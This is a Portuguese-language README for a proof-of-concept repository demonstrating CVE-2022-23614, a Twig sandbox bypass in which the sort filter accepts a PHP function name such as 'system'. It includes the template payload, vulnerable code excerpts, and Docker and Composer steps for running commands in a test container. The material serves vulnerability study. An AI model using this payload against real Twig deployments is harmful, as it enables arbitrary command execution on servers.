
Prova de conceito para CVE-2022-23614 (injeção de comando no Twig)
Prova de conceito (PoC) para CVE-2022-23614 referenciada no DSA-5107-1.
Twig é um motor de templates flexível, rápido e seguro para PHP. Notavelmente, é possível usar filtros em um template antes de renderizá-lo. O filtro sort pode ser usado para ordenar os elementos de um array com a seguinte estrutura:
{{ [5,8,2,3]|sort('desc') }}
Twig possui um modo sandbox para avaliar código de template não confiável. Quando neste modo sandbox, o parâmetro arrow do filtro sort deve ser uma closure para evitar que atacantes consigam executar funções PHP arbitrárias. Nas versões afetadas, essa restrição não foi aplicada corretamente e poderia levar à injeção de código PHP arbitrário.
{{ ["id",""]|sort('system') }}
Este PoC ilustra a vulnerabilidade em dois casos de uso diferentes: usando o pacote Debian php-twig (v2.14.1) ou usando o módulo Composer twig/twig (v2.14).
O arquivo index.php cria um template Twig baseado no primeiro argumento. No código a seguir, argv[1] é o nome da função de ordenação que será usada pelo Twig ao renderizar.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
Em seguida, index.php usará duas funções obsoletas do Twig para carregar o template gerado. Eventualmente, ele usa o segundo argumento (argv[2]) para passar dados para o template enquanto ele está sendo renderizado, notadamente o array args que queremos ordenar.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
O template renderizado é então impresso na saída padrão.
Observe que este repositório foi feito apenas para fins de demonstração. Ele foi concebido para ser simples de entender e fácil de usar para brincar com o CVE usando apenas uma interface de linha de comando. Está bem longe do que se pode encontrar em um servidor vulnerável real.
Usando Docker, podemos recriar o contexto do Debian Security Advisory (DSA) original. Você pode usar o script build-docker.sh fornecido para construir e executar corretamente o contêiner vulnerável.
chmod a+x build-docker.sh
./build-docker.sh
O contêiner deve desligar assim que o payload for executado (um comando id). Se você quiser testar seus próprios comandos, pode executar o contêiner no modo interativo:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
Uma vez dentro do contêiner, você pode criar seu próprio payload usando o seguinte modelo:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
Este dockerfile foi parcialmente criado usando DECRET.
Se você já tem php e Composer instalados em sua máquina, pode replicar o exploit usando o módulo Composer vulnerável.
cd exploit
composer install
Então você só precisa brincar com o payload.
php index.php system '{"args":["id",""]}'
Detalhes do CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
Commit do patch: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC por davwwwx (usando GUI): https://github.com/davwwwx/CVE-2022-23614